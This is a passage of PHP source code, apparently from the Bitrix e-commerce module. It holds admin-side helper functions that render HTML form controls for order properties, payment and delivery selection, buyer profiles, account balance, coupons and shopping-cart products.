<textarea name=\"USER_DESCRIPTION\" rows=\"4\" cols=\"40\">".htmlspecialcharsbx($userComment)."</textarea>
</td>
</tr>";
$resultHtml .= "</table>";
return $resultHtml;
}
/*
* Returns HTML controls of the order properties
*
* Currently is used to show order properties related to payment/delivery systems in the order_new form
*/
function getOrderPropertiesHTML($arOrderProps, $arPropValues = array(), $LID, $USER_ID = '', $ORDER_ID = 0, $formVarsSubmit = false)
{
$propertyGroupID = -1;
$arDisableFieldForLocation = array();
$resultHtml = "<table id=\"order_related_props\">";
// get order properties values
if ($formVarsSubmit)
{
$locationIndexForm = "";
foreach ($_POST as $key => $value)
{
if (substr($key, 0, strlen("CITY_ORDER_PROP_")) == "CITY_ORDER_PROP_")
{
$arPropValues[intval(substr($key, strlen("CITY_ORDER_PROP_")))] = htmlspecialcharsbx($value);
$locationIndexForm = intval(substr($key, strlen("CITY_ORDER_PROP_")));
}
if (substr($key, 0, strlen("ORDER_PROP_")) == "ORDER_PROP_")
{
if ($locationIndexForm != intval(substr($key, strlen("ORDER_PROP_"))))
{
if (!is_array($value))
$arPropValues[intval(substr($key, strlen("ORDER_PROP_")))] = htmlspecialcharsbx($value);
else
{
$arValues = array();
foreach ($value as $k => $v)
$arValues[$key] = htmlspecialcharsbx($v);
$arPropValues[intval(substr($key, strlen("ORDER_PROP_")))] = $arValues;
}
}
}
}
}
// iterate over list of properties
if (is_array($arOrderProps))
{
foreach ($arOrderProps as $arProperties)
{
if (intval($arProperties["PROPS_GROUP_ID"]) != $propertyGroupID)
{
$resultHtml .= "<tr><td colspan=\"2\" style=\"text-align:center;font-weight:bold;font-size:14px;color:rgb(75, 98, 103);\" >".htmlspecialcharsEx($arProperties["GROUP_NAME"])."\n</td>\n</tr>";
$propertyGroupID = intval($arProperties["PROPS_GROUP_ID"]);
}
if (intval($arProperties["PROPS_GROUP_ID"]) != $propertyGroupID)
$propertyGroupID = intval($arProperties["PROPS_GROUP_ID"]);
$adit = "";
$requiredField = "";
if ($arProperties["REQUIED"] == "Y" || $arProperties["IS_PROFILE_NAME"] == "Y" || $arProperties["IS_LOCATION"] == "Y" || $arProperties["IS_LOCATION4TAX"] == "Y" || $arProperties["IS_PAYER"] == "Y" || $arProperties["IS_ZIP"] == "Y")
{
$adit = " class=\"adm-detail-required-field\"";
$requiredField = " class=\"adm-detail-content-cell-l\"";
}
//delete town from location
if (in_array($arProperties["ID"], $arDisableFieldForLocation))
$resultHtml .= "<tr style=\"display:none;\" id=\"town_location_".$arProperties["ID"]."\"".$adit.">\n";
else
$resultHtml .= "<tr id=\"town_location_".$arProperties["ID"]."\"".$adit.">\n";
if(($arProperties["TYPE"] == "MULTISELECT" || $arProperties["TYPE"] == "TEXTAREA") || ($ORDER_ID <= 0 && $arProperties["IS_PROFILE_NAME"] == "Y") )
$resultHtml .= "<td valign=\"top\" class=\"adm-detail-content-cell-l\" width=\"40%\">\n";
else
$resultHtml .= "<td align=\"right\" width=\"40%\" ".$requiredField.">\n";
$resultHtml .= $arProperties["NAME"].":</td>";
$curVal = $arPropValues[intval($arProperties["ID"])];
if($arProperties["IS_EMAIL"] == "Y" || $arProperties["IS_PAYER"] == "Y")
{
if(strlen($arProperties["DEFAULT_VALUE"]) <= 0 && intval($USER_ID) > 0)
{
$rsUser = CUser::GetByID($USER_ID);
if ($arUser = $rsUser->Fetch())
{
if($arProperties["IS_EMAIL"] == "Y")
$arProperties["DEFAULT_VALUE"] = $arUser["EMAIL"];
else
{
if (strlen($arUser["LAST_NAME"]) > 0)
$arProperties["DEFAULT_VALUE"] .= $arUser["LAST_NAME"];
if (strlen($arUser["NAME"]) > 0)
$arProperties["DEFAULT_VALUE"] .= " ".$arUser["NAME"];
if (strlen($arUser["SECOND_NAME"]) > 0 AND strlen($arUser["NAME"]) > 0)
$arProperties["DEFAULT_VALUE"] .= " ".$arUser["SECOND_NAME"];
}
}
}
}
$resultHtml .= "<td class=\"adm-detail-content-cell-r\" width=\"60%\">";
if ($arProperties["TYPE"] == "CHECKBOX")
{
$resultHtml .= '<input type="checkbox" class="inputcheckbox" ';
$resultHtml .= 'name="ORDER_PROP_'.$arProperties["ID"].'" value="Y"';
$resultHtml .= 'id="ORDER_PROP_'.$arProperties["ID"].'" ';
if ($curVal=="Y" || !isset($curVal) && $arProperties["DEFAULT_VALUE"]=="Y")
$resultHtml .= " checked";
$resultHtml .= '>';
}
elseif ($arProperties["TYPE"] == "TEXT")
{
$change = "";
if ($arProperties["IS_ZIP"] == "Y")
{
$DELIVERY_LOCATION_ZIP = $curVal;
$resultHtml .= '<script> locationZipID = \''.$arProperties["ID"].'\';</script>';
$locationZipID = ((isset($curVal)) ? htmlspecialcharsEx($curVal) : htmlspecialcharsEx($arProperties["DEFAULT_VALUE"]));
}
if ($arProperties["IS_PAYER"] == "Y" && intval($USER_ID) <= 0)
{
$resultHtml .= '<div id="BREAK_NAME"';
if ($ORDER_ID > 0 || ($formVarsSubmit && $_REQUEST["btnTypeBuyer"] == "btnBuyerExist"))
$resultHtml .= ' style="display:none"';
$resultHtml .= '>';
$BREAK_LAST_NAME_TMP = GetMessage('NEWO_BREAK_LAST_NAME');
if (isset($_REQUEST["BREAK_LAST_NAME"]) && strlen($_REQUEST["BREAK_LAST_NAME"]) > 0)
$BREAK_LAST_NAME_TMP = htmlspecialcharsbx(trim($_REQUEST["BREAK_LAST_NAME"]));
$NEWO_BREAK_NAME_TMP = GetMessage('NEWO_BREAK_NAME');
if (isset($_REQUEST["BREAK_NAME"]) && strlen($_REQUEST["BREAK_NAME"]) > 0)
$NEWO_BREAK_NAME_TMP = htmlspecialcharsbx(trim($_REQUEST["BREAK_NAME"]));
$BREAK_SECOND_NAME_TMP = GetMessage('NEWO_BREAK_SECOND_NAME');
if (isset($_REQUEST["BREAK_SECOND_NAME"]) && strlen($_REQUEST["BREAK_SECOND_NAME"]) > 0)
$BREAK_SECOND_NAME_TMP = htmlspecialcharsbx(trim($_REQUEST["BREAK_SECOND_NAME"]));
$resultHtml .= '<div class="fio newo_break_active">'.
'<input type="text" name="BREAK_LAST_NAME" id="BREAK_LAST_NAME" size="30" '.
'value="'.$BREAK_LAST_NAME_TMP.'" placeholder="'.htmlspecialcharsbx(GetMessage('NEWO_BREAK_LAST_NAME')).'" '.
'onblur="if (this.value==\'\'){ BX.addClass(this.parentNode, \'newo_break_active\'); }" '.
'onfocus="if (this.value==\'\') { BX.removeClass(this.parentNode, \'newo_break_active\'); }">'.
'</div>';
$resultHtml .= '<div class="fio newo_break_active">'.
'<input type="text" name="BREAK_NAME" id="BREAK_NAME_BUYER" size="30" '.
'value="'.$NEWO_BREAK_NAME_TMP.'" placeholder="'.htmlspecialcharsbx(GetMessage('NEWO_BREAK_NAME')).'" '.
'onblur="if (this.value==\'\'){ BX.addClass(this.parentNode, \'newo_break_active\'); }" '.
'onfocus="if (this.value==\'\') { BX.removeClass(this.parentNode, \'newo_break_active\'); }">'.
'</div>';
$resultHtml .= '<div class="fio newo_break_active">'.
'<input type="text" name="BREAK_SECOND_NAME" id="BREAK_SECOND_NAME" size="30" '.
'value="'.$BREAK_SECOND_NAME_TMP.'" placeholder="'.htmlspecialcharsbx(GetMessage('NEWO_BREAK_SECOND_NAME')).'" '.
'onblur="if (this.value==\'\'){ BX.addClass(this.parentNode, \'newo_break_active\'); }" '.
'onfocus="if (this.value==\'\') { BX.removeClass(this.parentNode, \'newo_break_active\'); }">'.
'</div>';
$resultHtml .= '</div>';
$tmpNone = '';
$resultHtml .= '<div id="NO_BREAK_NAME"';
if ($ORDER_ID <= 0)
$tmpNone = ' style="display:none"';
if ($formVarsSubmit && $_REQUEST["btnTypeBuyer"] == "btnBuyerExist")
$tmpNone = ' style="display:block"';
$resultHtml .= $tmpNone.'>';
}
$resultHtml .= '<input type="text" maxlength="250" ';
$resultHtml .= 'size="30" ';
$resultHtml .= 'value="'.((isset($curVal)) ? $curVal : $arProperties["DEFAULT_VALUE"]).'" ';
$resultHtml .= 'name="ORDER_PROP_'.$arProperties["ID"].'" ';
$resultHtml .= 'id="ORDER_PROP_'.$arProperties["ID"].'" '.$change.'>';
if ($arProperties["IS_PAYER"] == "Y" && intval($USER_ID) <= 0)
$resultHtml .= '</div>';
}
elseif ($arProperties["TYPE"] == "SELECT")
{
$size = (intval($arProperties["SIZE1"]) > 0) ? intval($arProperties["SIZE1"]) : 5;
$resultHtml .= '<select name="ORDER_PROP_'.$arProperties["ID"].'" ';
$resultHtml .= 'id="ORDER_PROP_'.$arProperties["ID"].'" ';
$resultHtml .= 'size='.$size.' ';
$resultHtml .= 'class="typeselect">';
$dbVariants = CSaleOrderPropsVariant::GetList(
array("SORT" => "ASC"),
array("ORDER_PROPS_ID" => $arProperties["ID"]),
false,
false,
array("*")
);
while ($arVariants = $dbVariants->Fetch())
{
$resultHtml .= '<option value="'.htmlspecialcharsEx($arVariants["VALUE"]).'"';
if ($arVariants["VALUE"] == $curVal || !isset($curVal) && $arVariants["VALUE"] == $arProperties["DEFAULT_VALUE"])
$resultHtml .= " selected";
$resultHtml .= '>'.htmlspecialcharsEx($arVariants["NAME"]).'</option>';
}
$resultHtml .= '</select>';
}
elseif ($arProperties["TYPE"] == "MULTISELECT")
{
$size = (intval($arProperties["SIZE1"]) > 0) ? intval($arProperties["SIZE1"]) : 5;
$resultHtml .= '<select multiple name="ORDER_PROP_'.$arProperties["ID"].'[]" ';
$resultHtml .= 'id="ORDER_PROP_'.$arProperties["ID"].'" ';
$resultHtml .= 'size='.$size.' ';
$resultHtml .= 'class="typeselect" type="multyselect">';
if (!is_array($curVal))
{
if (strlen($curVal) > 0 OR $ORDER_ID != "")
$curVal = explode(",", $curVal);
else
$curVal = explode(",", $arProperties["DEFAULT_VALUE"]);
$arCurVal = array();
$countCurVal = count($curVal);
for ($i = 0; $i < $countCurVal; $i++)
$arCurVal[$i] = trim($curVal[$i]);
}
else
$arCurVal = $curVal;
$dbVariants = CSaleOrderPropsVariant::GetList(
array("SORT" => "ASC"),
array("ORDER_PROPS_ID" => $arProperties["ID"]),
false,
false,
array("*")
);
while ($arVariants = $dbVariants->Fetch())
{
$resultHtml .= '<option value="'.htmlspecialcharsEx($arVariants["VALUE"]).'"';
if (in_array($arVariants["VALUE"], $arCurVal))
$resultHtml .= " selected";
$resultHtml .= '>'.htmlspecialcharsEx($arVariants["NAME"]).'</option>';
}
$resultHtml .= '</select>';
}
elseif ($arProperties["TYPE"] == "TEXTAREA")
{
$resultHtml .= '<textarea ';
$resultHtml .= 'rows="4" ';
$resultHtml .= 'cols="40" ';
$resultHtml .= 'name="ORDER_PROP_'.$arProperties["ID"].'" ';
$resultHtml .= 'id="ORDER_PROP_'.$arProperties["ID"].'" type="textarea">';
$resultHtml .= ((isset($curVal)) ? $curVal : $arProperties["DEFAULT_VALUE"]);
$resultHtml .= '</textarea>';
}
elseif ($arProperties["TYPE"] == "LOCATION")
{
$countryID = "";
$cityID = "";
$cityList = "";
$DELIVERY_LOCATION = $arPropValues[intval($arProperties["ID"])];
$locationID = $curVal;
$tmpLocation = '';
ob_start();
CSaleLocation::proxySaleAjaxLocationsComponent(
array(
"SITE_ID" => $LID,
"AJAX_CALL" => "N",
"COUNTRY_INPUT_NAME" => "ORDER_PROP_".$arProperties["ID"],
"REGION_INPUT_NAME" => "REGION_ORDER_PROP_".$arProperties["ID"],
"CITY_INPUT_NAME" => "CITY_ORDER_PROP_".$arProperties["ID"],
"CITY_OUT_LOCATION" => "Y",
"ALLOW_EMPTY_CITY" => "Y",
"LOCATION_VALUE" => $curVal,
"COUNTRY" => "",
"ONCITYCHANGE" => "",
"PUBLIC" => "N",
),
array(
"ID" => "",
"CODE" => $curVal,
"PROVIDE_LINK_BY" => "code",
)
);
$tmpLocation = ob_get_contents();
ob_end_clean();
$resultHtml .= '<script>var locationID = \''.$arProperties["ID"].'\';</script>';
$resultHtml .= $tmpLocation;
}
elseif ($arProperties["TYPE"] == "RADIO")
{
$dbVariants = CSaleOrderPropsVariant::GetList(
array("SORT" => "ASC"),
array("ORDER_PROPS_ID" => $arProperties["ID"]),
false,
false,
array("*")
);
$resultHtml .= '<div id="ORDER_PROP_'.$arProperties["ID"].'">';// type="radio"
while ($arVariants = $dbVariants->Fetch())
{
$resultHtml .= '<input type="radio" class="inputradio" ';
$resultHtml .= 'name="ORDER_PROP_'.$arProperties["ID"].'" ';
$resultHtml .= 'value="'.htmlspecialcharsEx($arVariants["VALUE"]).'"';
if ($arVariants["VALUE"] == $curVal || !isset($curVal) && $arVariants["VALUE"] == $arProperties["DEFAULT_VALUE"])
$resultHtml .= " checked";
$resultHtml .= '>'.htmlspecialcharsEx($arVariants["NAME"]).'<br>';
}
$resultHtml .= '</div>';
}
elseif ($arProperties["TYPE"] == "FILE")
{
$arValues = array();
$arTmpValues = array();
if (isset($arPropValues[$arProperties["ID"]]) && !is_array($arPropValues[$arProperties["ID"]]))
{
$arTmpValues = explode(", ", $arPropValues[$arProperties["ID"]]);
foreach ($arTmpValues as $key => $value)
$arValues[$value] = $value;
}
$resultHtml .= fShowFilePropertyField("ORDER_PROP_".$arProperties["ID"], $arProperties, $arValues, $arProperties["SIZE1"], $formVarsSubmit);
}
if (strlen($arProperties["DESCRIPTION"]) > 0)
{
$resultHtml .= "<br><small>".htmlspecialcharsEx($arProperties["DESCRIPTION"])."</small>";
}
$resultHtml .= "\n</td>\n</tr>";
}//end while
}
$resultHtml .= "</table>";
return $resultHtml;
}
/*
* Returns HTML control with payment systems data
*/
function fGetPaySystemsHTML($PERSON_TYPE_ID, $PAY_SYSTEM_ID)
{
$resultHtml = "<table width=\"100%\">";
$resultHtml .= "<tr class=\"adm-detail-required-field\">\n<td class=\"adm-detail-content-cell-l\" width=\"40%\">".GetMessage("SOE_PAY_SYSTEM").":</td><td class=\"adm-detail-content-cell-r\" width=\"60%\">";
$arPaySystem = CSalePaySystem::DoLoadPaySystems($PERSON_TYPE_ID);
$resultHtml .= "<select name=\"PAY_SYSTEM_ID\" id=\"PAY_SYSTEM_ID\" onChange=\"fChangePaymentSystem();\">\n";
$resultHtml .= "<option value=\"\">(".GetMessage("SOE_SELECT").")</option>";
foreach ($arPaySystem as $key => $val)
{
$resultHtml .= "<option value=\"".$key."\"";
if ($key == intval($PAY_SYSTEM_ID))
$resultHtml .= " selected";
$resultHtml .= ">".$val["NAME"]." [".$key."]</option>";
}
$resultHtml .= "</select>";
$resultHtml .= "</td>\n</tr>";
$resultHtml .= "</table>";
return $resultHtml;
}
/*
* user profile
*/
function fUserProfile($USER_ID, $BUYER_TYPE = '', $default = '')
{
$userProfileSelect = "<select name=\"user_profile\" id=\"user_profile\" onChange=\"fChangeProfile(this);\">";
$userProfileSelect .= "<option value=\"0\">".GetMessage("NEWO_BUYER_PROFILE_NEW")."</option>";
$userProfile = CSaleOrderUserProps::DoLoadProfiles($USER_ID, $BUYER_TYPE);
$i = "";
if (!empty($userProfile) && is_array($userProfile))
{
foreach($userProfile as $key => $val)
{
if ($default == "" AND $i == "")
{
$userProfileSelect .= "<option selected value=\"".$key."\">".$val["NAME"]."</option>";
$i = $key;
}
elseif ($default == $key)
$userProfileSelect .= "<option selected value=\"".$key."\">".$val["NAME"]."</option>";
else
$userProfileSelect .= "<option value=\"".$key."\">".$val["NAME"]."</option>";
}
}
$userProfileSelect .= "</select>";
return $userProfileSelect;
}
/*
* user balance
*/
function fGetPayFromAccount($USER_ID, $CURRENCY)
{
$arResult = array("PAY_MESSAGE" => GetMessage("NEWO_PAY_FROM_ACCOUNT_NO"));
$dbUserAccount = CSaleUserAccount::GetList(
array(),
array(
"USER_ID" => $USER_ID,
"CURRENCY" => $CURRENCY,
)
);
if ($arUserAccount = $dbUserAccount->GetNext())
{
if ((float)$arUserAccount["CURRENT_BUDGET"] > 0)
{
$arResult["PAY_BUDGET"] = SaleFormatCurrency($arUserAccount["CURRENT_BUDGET"], $CURRENCY);
$arResult["PAY_MESSAGE"] = str_replace("#MONEY#", $arResult["PAY_BUDGET"], GetMessage("NEWO_PAY_FROM_ACCOUNT_YES"));
$arResult["CURRENT_BUDGET"] = $arUserAccount["CURRENT_BUDGET"];
}
}
return $arResult;
}
/**
* Returns HTML select control with delivery services data for admin pages
* @deprecated
*/
function fGetDeliverySystemsHTML($location, $locationZip, $weight, $price, $currency, $siteId, $defaultDelivery, $arShoppingCart)
{
$arResult = array();
$description = "";
$error = "";
$setDeliveryPrice = false;
$arDelivery = CSaleDelivery::DoLoadDelivery($location, $locationZip, $weight, $price, $currency, $siteId, $arShoppingCart);
$deliveryHTML = "<select name=\"DELIVERY_ID\" id=\"DELIVERY_ID\" onchange=\"fChangeDelivery();\">";
$deliveryHTML .= "<option value=\"\">".GetMessage('NEWO_DELIVERY_NO')."</option>";
if (count($arDelivery) > 0)
{
foreach($arDelivery as $val)
{
if (isset($val["PROFILES"]))
{
foreach($val["PROFILES"] as $k => $v)
{
$currency = $v["CURRENCY"];
$selected = "";
if ($v["ID"] == $defaultDelivery)
{
$selected = " selected=\"selected\"";
if (floatval($v["DELIVERY_PRICE"]) <= 0)
{
$error = "<div class='error'>".GetMessage('NEWO_DELIVERY_ERR')."</div>";
$v["DELIVERY_PRICE"] = 0;
$val["DESCRIPTION"] = "";
}
$price = $v["DELIVERY_PRICE"];
$description = $val["DESCRIPTION"];
$setDeliveryPrice = true;
}
$deliveryHTML .= "<option".$selected." value=\"".$v["ID"]."\">".$val["TITLE"]." (".$v["TITLE"].") [".$v["ID"]."]</option>";
}
}
else
{
$currency = $val["CURRENCY"];
$selected = "";
if ($val["ID"] == $defaultDelivery)
{
$selected = " selected=\"selected\"";
$price = $val["PRICE"];
$setDeliveryPrice = true;
$description = $val["DESCRIPTION"];
}
$deliveryHTML .= "<option".$selected." value=\"".$val["ID"]."\">".$val["NAME"]." [".$val["ID"]."]</option>";
}
}
}
$deliveryHTML .= "</select>";
$arResult["DELIVERY"] = $deliveryHTML;
$arResult["DELIVERY_DEFAULT"] = $defaultDelivery;
$arResult["DELIVERY_DEFAULT_PRICE"] = (count($arDelivery) > 0 && $setDeliveryPrice === true) ? $price : 0;
$arResult["DELIVERY_DEFAULT_DESCRIPTION"] = $description;
$arResult["DELIVERY_DEFAULT_ERR"] = $error;
$arResult["CURRENCY"] = $currency;
return $arResult;
}
/*
* coupons
*/
function fGetCoupon($COUPON)
{
$arCoupon = array();
if (!empty($COUPON))
{
if (is_array($COUPON))
{
foreach ($COUPON as &$oneCoupon)
{
$oneCoupon = trim((string)$oneCoupon);
if ($oneCoupon != '')
$arCoupon[] = $oneCoupon;
}
unset($oneCoupon);
}
else
{
$coupons = explode(",", $COUPON);
if (!empty($coupons))
{
foreach($coupons as &$val)
{
$val = trim($val);
if ($val != '')
$arCoupon[] = $val;
}
unset($val);
}
}
}
return $arCoupon;
}
/*
* get location ID and ZIP
*/
function fGetLocationID($PERSON_TYPE_ID)
{
$arResult = array();
$dbProperties = CSaleOrderProps::GetList(
array("SORT" => "ASC"),
array("PERSON_TYPE_ID" => $PERSON_TYPE_ID),
false,
false,
array("TYPE", "IS_ZIP", "ID", "SORT")
);
while ($arProperties = $dbProperties->Fetch())
{
if ($arProperties["TYPE"] == "TEXT")
{
if ($arProperties["IS_ZIP"] == "Y")
{
$arResult["LOCATION_ZIP_ID"] = $arProperties["ID"];
}
}
elseif ($arProperties["TYPE"] == "LOCATION")
{
$arResult["LOCATION_ID"] = $arProperties["ID"];
}
}
return $arResult;
}
/*
* product basket array
*/
function fGetUserShoppingCart($arProduct, $LID, $recalcOrder)
{
$arOrderProductPrice = array();
$i = 0;
$arSortNum = array();
foreach($arProduct as $key => $val)
{
$arSortNum[] = $val['PRICE_DEFAULT'];
$arProduct[$key]["PRODUCT_ID"] = (int)$val["PRODUCT_ID"];
$arProduct[$key]["TABLE_ROW_ID"] = $key;
}
if (!empty($arProduct) && !empty($arSortNum))
array_multisort($arSortNum, SORT_DESC, $arProduct);
$arBasketIds = array();
$basketMap = array();
foreach($arProduct as $key => $val)
{
$val["QUANTITY"] = abs(str_replace(",", ".", $val["QUANTITY"]));
$val["QUANTITY_DEFAULT"] = $val["QUANTITY"];
$val["PRICE"] = str_replace(",", ".", $val["PRICE"]);
// Y is used when custom price was set in the admin form
if ($val["CALLBACK_FUNC"] == "Y")
{
$val["CALLBACK_FUNC"] = false;
$val["CUSTOM_PRICE"] = "Y";
if (isset($val["BASKET_ID"]) && (int)$val["BASKET_ID"] > 0)
{
CSaleBasket::Update($val["BASKET_ID"], array("CUSTOM_PRICE" => "Y"));
}
//$val["DISCOUNT_PRICE"] = $val["PRICE_DEFAULT"] - $val["PRICE"];
}
$arOrderProductPrice[$i] = $val;
$arOrderProductPrice[$i]["TABLE_ROW_ID"] = $val["TABLE_ROW_ID"];
$arOrderProductPrice[$i]["NAME"] = htmlspecialcharsback($val["NAME"]);
$arOrderProductPrice[$i]["LID"] = $LID;
$arOrderProductPrice[$i]["CAN_BUY"] = "Y";
$arOrderProductPrice[$i]['RESERVED'] = 'N';
if (isset($val["BASKET_ID"]) && (int)$val["BASKET_ID"] > 0)
{
$basketId = (int)$val["BASKET_ID"];
$arOrderProductPrice[$i]["ID"] = $basketId;
$arBasketIds[] = $basketId;
$basketMap[$basketId] = &$arOrderProductPrice[$i];
if ($recalcOrder != "Y" && $arOrderProductPrice[$i]["CALLBACK_FUNC"] != false)
unset($arOrderProductPrice[$i]["CALLBACK_FUNC"]);
$arNewProps = array();
if (is_array($val["PROPS"]))
{
foreach($val["PROPS"] as $k => $v)
{
if ($v["NAME"] != "" AND $v["VALUE"] != "")
$arNewProps[$k] = $v;
}
}
else
$arNewProps = array("NAME" => "", "VALUE" => "", "CODE" => "", "SORT" => "");
$arOrderProductPrice[$i]["PROPS"] = $arNewProps;
}
$i++;
}//endforeach $arProduct
// collect status of reservation elements basket
if (!empty($arBasketIds))
{
$rsBasketItems = CSaleBasket::GetList(
array(),
array("ID" => $arBasketIds),
false,
false,
array(
"ID",
"RESERVED",
)
);
while ($arBasketItems = $rsBasketItems->Fetch())
{
$arBasketItems['ID'] = (int)$arBasketItems['ID'];
if (!isset($basketMap[$arBasketItems['ID']]))
continue;
$basketMap[$arBasketItems['ID']]['RESERVED'] = $arBasketItems['RESERVED'];
}
unset($arBasketItems, $rsBasketItems);
}
unset($basketMap, $arBasketIds);
return $arOrderProductPrice;
}
/*
* Returns HTML for recommended product, basket product or product from the viewed list
*/
function fGetFormatedProduct($USER_ID, $LID, $arData, $currency, $type = '')
{
global $crmMode;
$result = "";
$arSet = array();
if (!is_array($arData["ITEMS"]) || count($arData["ITEMS"]) <= 0)
return $result;
$result = "<table width=\"100%\">";
if (CModule::IncludeModule('catalog') && CModule::IncludeModule('iblock'))
{
$arProductId = array();
$arDataTab = array();
$arSkuParentChildren = array();
$arSkuParentId = array();
$arSkuParent = array();
foreach ($arData["ITEMS"] as $item)
{
if (!empty($item["CURRENCY"]) && $item["CURRENCY"] != $currency)
{
if (floatval($item["PRICE"]) > 0)
$item["PRICE"] = CCurrencyRates::ConvertCurrency($item["PRICE"], $item["CURRENCY"], $currency);
if (floatval($item["DISCOUNT_PRICE"]) > 0)
$item["DISCOUNT_PRICE"] = CCurrencyRates::ConvertCurrency($item["DISCOUNT_PRICE"], $item["CURRENCY"], $currency);
$item["CURRENCY"] = $currency;
}
/** @var $productProvider IBXSaleProductProvider */
if ($productProvider = CSaleBasket::GetProductProvider($item))
{
if (method_exists($productProvider, "GetSetItems"))
{
$itemInfo = (isset($item['ID']) ? array('BASKET_ID' => $item['ID']) : array());
$arSets = $productProvider::GetSetItems($item["PRODUCT_ID"], CSaleBasket::TYPE_SET, $itemInfo);
unset($itemInfo);
if (is_array($arSets))
{
foreach ($arSets as $arSetData)
{
foreach ($arSetData["ITEMS"] as $setItem)
{
$setItem["FUSER_ID"] = $item["FUSER_ID"];
$setItem["LID"] = $item["LID"];
$setItem["MODULE"] = $item["MODULE"];
$setItem["PRODUCT_PROVIDER_CLASS"] = $productProvider;
$setItem["SET_PARENT_ID"] = $item["ID"];
$arSet[$item["PRODUCT_ID"]][] = $setItem;
}
}
}
}
}
if ($item["MODULE"] == "catalog")
{
$arProductId[$item["PRODUCT_ID"]] = $item["PRODUCT_ID"];
$arDataTab[$item["PRODUCT_ID"]] = $item;
$arParent = CCatalogSku::GetProductInfo($item["PRODUCT_ID"]);
if ($arParent)
{
$arSkuParentChildren[$item["PRODUCT_ID"]] = $arParent["ID"];
$arSkuParentId[$arParent["ID"]] = $arParent["ID"];
}
}
}
if(!empty($arSkuParentId))
{
$res = CIBlockElement::GetList(array(), array("ID" => $arSkuParentId), false, false, array("ID", "IBLOCK_ID", "IBLOCK_SECTION_ID", "PREVIEW_PICTURE", "DETAIL_PICTURE", "NAME", "DETAIL_PAGE_URL"));
while ($arItems = $res->GetNext())
$arSkuParent[$arItems["ID"]] = $arItems;
}
if(!empty($arProductId))
{
$dbProduct = CIBlockElement::GetList(array(), array("ID" => $arProductId), false, false, array('ID', 'IBLOCK_ID', 'IBLOCK_SECTION_ID', 'DETAIL_PICTURE', 'PREVIEW_PICTURE', 'IBLOCK_TYPE_ID'));
while($arProduct = $dbProduct->Fetch())
{
$imgCode = 0;
$arImgProduct = false;
$arFile = false;
$imgUrl = '';
$imgProduct = '';
$arDataTab[$arProduct['ID']]['IBLOCK_ID'] = $arProduct['IBLOCK_ID'];
$arDataTab[$arProduct['ID']]['IBLOCK_SECTION_ID'] = $arProduct['IBLOCK_SECTION_ID'];
$arDataTab[$arProduct['ID']]['DETAIL_PICTURE'] = $arProduct['DETAIL_PICTURE'];
$arDataTab[$arProduct['ID']]['PREVIEW_PICTURE'] = $arProduct['PREVIEW_PICTURE'];
$arDataTab[$arProduct['ID']]['IBLOCK_TYPE_ID'] = $arProduct['IBLOCK_TYPE_ID'];
$item = $arDataTab[$arProduct['ID']];
if ($item["PREVIEW_PICTURE"] == "" && $item["DETAIL_PICTURE"] == "" && is_set($arSkuParentChildren[$item["PRODUCT_ID"]]))
{
$idTmp = $arSkuParentChildren[$item["PRODUCT_ID"]];
$item["DETAIL_PICTURE"] = $arSkuParent[$idTmp]["DETAIL_PICTURE"];
$item["PREVIEW_PICTURE"] = $arSkuParent[$idTmp]["PREVIEW_PICTURE"];
}
if ($item["DETAIL_PICTURE"] > 0)
$imgCode = $item["DETAIL_PICTURE"];
elseif ($item["PREVIEW_PICTURE"] > 0)
$imgCode = $item["PREVIEW_PICTURE"];
$arSkuProperty = CSaleProduct::GetProductSkuProps($item["PRODUCT_ID"], $item["IBLOCK_ID"]);
$item["NAME"] = htmlspecialcharsex($item["NAME"]);
$item["EDIT_PAGE_URL"] = htmlspecialcharsex($item["EDIT_PAGE_URL"]);
$item["CURRENCY"] = htmlspecialcharsex($item["CURRENCY"]);
if ($imgCode > 0)
{
$arFile = CFile::GetFileArray($imgCode);
$arImgProduct = CFile::ResizeImageGet($arFile, array('width'=>80, 'height'=>80), BX_RESIZE_IMAGE_PROPORTIONAL, false, false);
}
if (is_array($arImgProduct))
{
$imgUrl = $arImgProduct["src"];
$imgProduct = "<a href=\"".$item["EDIT_PAGE_URL"]."\" target=\"_blank\"><img src=\"".$imgUrl."\" alt=\"\" title=\"".$item["NAME"]."\" ></a>";
}
else
$imgProduct = "<div class='no_foto'>".GetMessage('NO_FOTO')."</div>";
$arCurFormat = CCurrencyLang::GetCurrencyFormat($item["CURRENCY"]);
$priceValutaFormat = str_replace("#", '', $arCurFormat["FORMAT_STRING"]);
$currentTotalPrice = ($item["PRICE"] + $item["DISCOUNT_PRICE"]);
$discountPercent = 0;
if ($item["DISCOUNT_PRICE"] > 0)
$discountPercent = intval(($item["DISCOUNT_PRICE"] * 100) / $currentTotalPrice);
$arProduct = CCatalogProduct::GetByID($item["PRODUCT_ID"]);
$balance = floatval($arProduct["QUANTITY"]);
$result .= "<tr id='more_".$type."_".$item["ID"]."'>
<td class=\"tab_img\" >".$imgProduct."</td>
<td class=\"tab_text\">
<div class=\"order_name\"><a href=\"".$item["EDIT_PAGE_URL"]."\" target=\"_blank\" title=\"".$item["NAME"]."\">".$item["NAME"]."</a></div>
<div class=\"order_price\">
".GetMessage('NEWO_SUBTAB_PRICE').": <b>".SaleFormatCurrency($item["PRICE"], $currency)."</b>";
if (!empty($arSet) && array_key_exists($arProduct["ID"], $arSet)) // show/hide set item link
{
$result .= '<br/>
<div>
<a id="set_toggle_link_b'.$arProduct["ID"].'"
href="javascript:void(0);"
class="dashed-link show-set-link"
title="'.GetMessage("SOE_SHOW_SET").'"
onclick="fToggleSetItems(\'b'.$arProduct["ID"].'\');">'.GetMessage("SOE_SHOW_SET").'</a>
</div>';
}
$result .= "</div>";
$arResult = CSaleProduct::GetProductSku($USER_ID, $LID, $item["PRODUCT_ID"], $item["NAME"], $currency, $arProduct);
if (count($arResult["SKU_ELEMENTS"]) > 0)
{
foreach ($arResult["SKU_ELEMENTS"] as $key => $val)
{
$arTmp = array();
foreach ($val as $k => $v)
{
if (is_numeric($k))
{
$arTmp[$arResult["SKU_PROPERTIES"][$k]["NAME"]] = $v;
}
}
$arResult["SKU_ELEMENTS"][$key]["SKU_PROPS"] = CUtil::PhpToJSObject($arTmp);
}
}
$arResult["POPUP_MESSAGE"] = array(
"PRODUCT_ADD" => GetMessage('NEWO_POPUP_TO_BASKET'),
"PRODUCT_ORDER" => GetMessage('NEWO_POPUP_TO_ORDER'),
"PRODUCT_NOT_ADD" => GetMessage('NEWO_POPUP_DONT_CAN_BUY'),
"PRODUCT_PRICE_FROM" => GetMessage('NEWO_POPUP_FROM')
);
if (count($arResult["SKU_ELEMENTS"]) <= 0)
